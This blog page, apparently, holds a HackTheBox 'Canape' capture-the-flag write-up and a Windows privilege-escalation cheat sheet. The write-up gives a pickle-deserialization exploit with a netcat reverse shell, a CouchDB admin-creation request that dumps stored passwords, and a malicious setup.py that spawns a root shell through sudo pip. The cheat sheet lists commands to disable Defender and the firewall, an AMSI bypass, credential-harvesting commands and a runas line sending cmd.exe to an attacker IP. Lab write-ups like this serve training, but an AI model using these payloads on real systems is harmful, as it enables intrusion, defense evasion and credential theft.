Showing posts with label HackTheBox. Show all posts
Showing posts with label HackTheBox. Show all posts

HackTheBox: Canape | Python Pickle Deserialization + CouchDB Exploitation

HackTheBox: Canape

Summary: Canape is a moderate difficulty machine. This machine requires a basic understanding of Python to be able to find the exploitable point in the application.

Skills Required:

  • Intermediate knowledge of Linux
  • Basic/Intermediate knowledge of Python

Skills Learned:
  • Exploiting insecure Python Pickling
  • Exploiting Sudo NOPASSWD
  • Exploiting Apache CouchDB

Enumeration:
First things first. We are going to run the NMAP scan. 😀
NMAP finds that the webserver with .git on port 80, ssh running on port 65535, and it looks like we’re going to deal with Ubuntu.

[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:24 +06
Nmap scan report for 10.10.10.70
Host is up (0.30s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 155.56 seconds
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -A -p 80,65535 -oA nmap/initial 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:31 +06
Nmap scan report for 10.10.10.70
Host is up (0.29s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Simpsons Fan Site
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   305.64 ms 10.10.14.1
2   305.04 ms 10.10.10.70

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.56 seconds

Web Fuzzing:
This is a simple Fan site.





The submit form is something that we should focus on, but previously We've found a .git path via NMAP scanning and it's exposed a git repository. And if we run the WFUZZ then it will also reveal the same exposed git repo.

wfuzz result:

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hl 0,82 http://10.10.10.70/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.70/FUZZ
Total requests: 4702

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                 
=====================================================================

000000012:   200        9 L      43 W       1075 Ch     ".git/index"                            
000000011:   200        11 L     29 W       259 Ch      ".git/config"                           
000000010:   200        1 L      2 W        23 Ch       ".git/HEAD"                             
000000013:   200        17 L     70 W       1130 Ch     ".git/logs/"                            
000000008:   301        9 L      28 W       309 Ch      ".git"                                  
000001029:   403        11 L     32 W       294 Ch      "cgi-bin/"                              
000001063:   405        4 L      23 W       178 Ch      "check"                                 
000003385:   200        85 L     227 W      3150 Ch     "quotes"                                
000003699:   403        11 L     32 W       299 Ch      "server-status"                         
000003940:   301        9 L      28 W       311 Ch      "static"                                
000003984:   200        81 L     167 W      2836 Ch     "submit"                                

Total time: 156.3866
Processed Requests: 4702
Filtered Requests: 4691
Requests/sec.: 30.06650



When there’s an exposed git repo on a website, we can get a full history of the site by using wget!

wget commands:

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wget --mirror -I .git 10.10.10.70/.git
...
...
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #cd 10.10.10.70/
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #git checkout -- .
ada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #ls
__init__.py  robots.txt  static  templates

Source Code Review:
With full access to the source, we see a python flask site. There are two sections that caught my eye, Submit and Check.

source code:
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5


app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()
Submit
In this code there is an upload section:
@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

What's going on here?
  • The user submitted ‘char’ only has to contain one of the character names from the whitelist. It doesn’t have to be one of the names.
  • The user has no control over the name of the file, but can know the name of the file.
  • Nothing is written to the file outside the two user-provided strings concatenated.
  • There’s a comment reference to /check and pickle.
Check
Looking down the source, there’s a path for /check:
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item
What's going on here?
  • cPickle.loads will run the object’s __reduce__ method when it is unpickled. So an attacker can create a class with a __reduce__ function that executes their desired commands, pickle an instance of that class, and pass that string to canape.
www-data Shell:

Exploit:
import os, cPickle, requests
from hashlib import md5

url = "http://10.10.10.70/"

class Exploit(object):
    def __reduce__(self):
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f',))

quote = cPickle.dumps(Exploit())

char = "(S'homer'\n"

p_id = md5(char + quote).hexdigest()

# Uploading data

upload_data = [('character',char), ('quote',quote)]
requests.post(url +"submit", data=upload_data)

# Triggering Pickle

id_data = [('id',p_id)]
(requests.post(url + "check", data=id_data))


┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #python2 exploit.py

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 40786
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'
www-data@canape:/$ 
Privilege Escalation: www-data –> homer:
CouchDB + Enumeration:
The page source also showed that the simpsons quotes were stored in a couchdb:
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
The couchdb is only on localhost:
www-data@canape:/$ netstat -ano | grep "LISTEN "
netstat -ano | grep "LISTEN "
tcp        0      0 0.0.0.0:36408           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5984          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5986          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:4369            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 :::65535                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::4369                 :::*                    LISTEN      off (0.00/0/0)

To interact with couchdb, use curl from the local access. The passwords and _users dbs seem interesting, but neither is accessible. We can list ids in a database at the /[database name]/_all_docs path. To get an individual document, we visit /[database name]/id
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/_all_docs
curl http://127.0.0.1:5984/simpsons/_all_docs
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
1000dd9tp://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a 
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
www-data@canape:/$ curl http://127.0.0.1:5984/passwords
curl http://127.0.0.1:5984/passwords
{"error":"unauthorized","reason":"You are not authorized to access this db."}
www-data@canape:/$ curl http://127.0.0.1:5984/_users
curl http://127.0.0.1:5984/_users
{"db_name":"_users","update_seq":"11-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6JnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW6F7GLADeKW85","sizes":{"file":79122,"external":2678,"active":5042},"purge_seq":0,"other":{"data_size":2678},"doc_del_count":1,"doc_count":3,"disk_size":79122,"disk_format_version":6,"data_size":5042,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://127.0.0.1:5984/_users/_all_docs
curl http://127.0.0.1:5984/_users/_all_docs
{"error":"unauthorized","reason":"You are not a server admin."}
Database Privileges Escalation:
CVE-2017-12635 is a way for non-authenticated users to get an admin access in couchdb by taking advantage of how Javascript and Erlang json parsers handle duplicate objects.
So, with CVE-2017-12635, to add an admin user, we just need to use an HTTP PUT:
www-data@canape:/$ curl -X PUT -d '{"type":"user","name":"theshahzada","roles":["_admin"],"roles":[],"password":"thes"}' 127.0.0.1:5984/_users/org.couchdb.user:theshahzada -H "Content-Type:application/json"
Because we have a “roles” object in there twice, the CouchDB Javascript validation will only see the second one (empty), but then Erlang json parser will keep both, and let us be an admin.

Enumeration as admin:
Now, we can use the creds for the added admin user to read the rest of the db:


www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords
curl http://theshahzada:thes@127.0.0.1:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_docs
csrl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_do 
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
df3f7a001bebb8fc4380019e4hes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
df3f7a001bebb8fc43800368dhes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
df3f7a001bebb8fc438003e5fhes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
df3f7a001bebb8fc438004738hes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
SSH as homer:
That first password from the couchdb enumeration, "item": "ssh", is promising. We noticed in initial enumeration that SSH was running on port 65535. We try to ssh as the only user on the box, homer, with the password, “0B4jyA0xtytZi7esBNGp”, and it works:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #ssh -p 65535 homer@10.10.10.70
homer@10.10.10.70's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Dec 14 09:31:52 2021 from 10.10.14.7
homer@canape:~$ cat user.txt
bce918*********288d
Privilege Escalation: 
homer –> root
homer can run pip with sudo:
homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
root shell:
import os
import socket
import subprocess

from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.7",9002))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p = subprocess.call(["/bin/sh", "-i"])

setup(
    cmdclass={
        "install": Exploit
    }
)


homer@canape:~/theshahzada$ sudo pip install .
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /home/homer/theshahzada
Installing collected packages: UNKNOWN
  Running setup.py install for UNKNOWN ... -

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 47212
# python -c 'import pty;pty.spawn("bash")'
root@canape:/tmp/pip-GiMdT7-build# id 
id
uid=0(root) gid=0(root) groups=0(root)

Reference:
  • I've taken some notes from the official writeup, 0xdf writeup and ippsec's video
  • https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
  • https://www.exploit-db.com/exploits/44913
  • https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

Windows Privilege Escalation


Windows Local Privilege Escalation

==System Info==
#Windows Version and Configuration
::OS Version::
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

::Extract patches and updates::
wmic qfe

::Architecture::
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

::List all env variables::
set
Get-ChildItem Env: | ft Key,Value

::List all drives::
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
==Users & Groups Enumeration==
::Get current username::
echo %USERNAME% || whoami
$env:username

::List user privilege::
whoami /priv
whoami /groups

::List all users::
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

::List logon requirements; useable for bruteforcing::
net accounts

::Get details about a user (i.e. administrator, admin, current user)::
net user administrator
net user admin
net user %USERNAME%
List all local groups

net localgroup
Get-LocalGroup | ft Name

::Get details about a group (i.e. administrators)::
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

==Network Enumeration==
::List all network interfaces, IP, and DNS.::
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

::Hosts file::
type C:\Windows\System32\drivers\etc\hosts

::List current routing table::
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

::List the ARP table::
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

::List all current connections::
netstat -ano

::List firewall state and current configuration::
netsh advfirewall firewall dump

or 

netsh firewall show state
netsh firewall show config

::List firewall's blocked ports::
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

::Disable firewall & Defender::
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

::List all network shares::
net share

::SNMP Configuration::
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

==Windows Defender==
::Check the status of Defender::
PS C:\> Get-MpComputerStatus

::Disable Real Time Monitoring
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

sc config WinDefend start= disabled
sc stop WinDefend

==AppLocker Enumeration==
::List of AppLocker rules::
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

C:\> reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

==Powershell==
::Default PowerShell locations in a Windows system.::
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

::Example of AMSI Bypass.::
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

::Powershell history::
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\TheShahzada\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

::Password in Alternate Data Stream::
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

==Processes Enumeration and Tasks==
::What processes are running?::

tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

::Which processes are running as "system"?::
tasklist /v /fi "username eq system"

::Do you have powershell magic?::
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

::List installed programs::
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

::List services::
net start
wmic service list brief
tasklist /SVC

::Scheduled tasks::

schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

::Startup tasks::

#wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"


==Windows Credentials==
::Winlogon Credentials::
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword


/* Use the cmdkey to list the stored credentials on the machine. */
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

/* Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share */
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

/* Using runas with a provided set of credential. */
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

::DPAPI::
/* In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS). */

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

/* You can use mimikatz module dpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.
The credentials files protected by the master password are usually located in: */
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

::Wifi::
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

::Saved RDP Connections::
HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
HKCU\Software\Microsoft\Terminal Server Client\Servers\

::Recently Run Commands::
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

::Remote Desktop Credential Manager::
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
/* Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module */

:***:Files and Registry (Credentials):***:

::Putty Creds::
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

::Putty SSH Host Keys::
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

::SSH keys in registry::
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys

/* If ssh-agent service is not running and you want it to automatically start on boot run: */
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

::Cloud Credentials::
##From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

::SAM & SYSTEM backups::
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

::Unattended files::
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

::IIS Web Config::
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
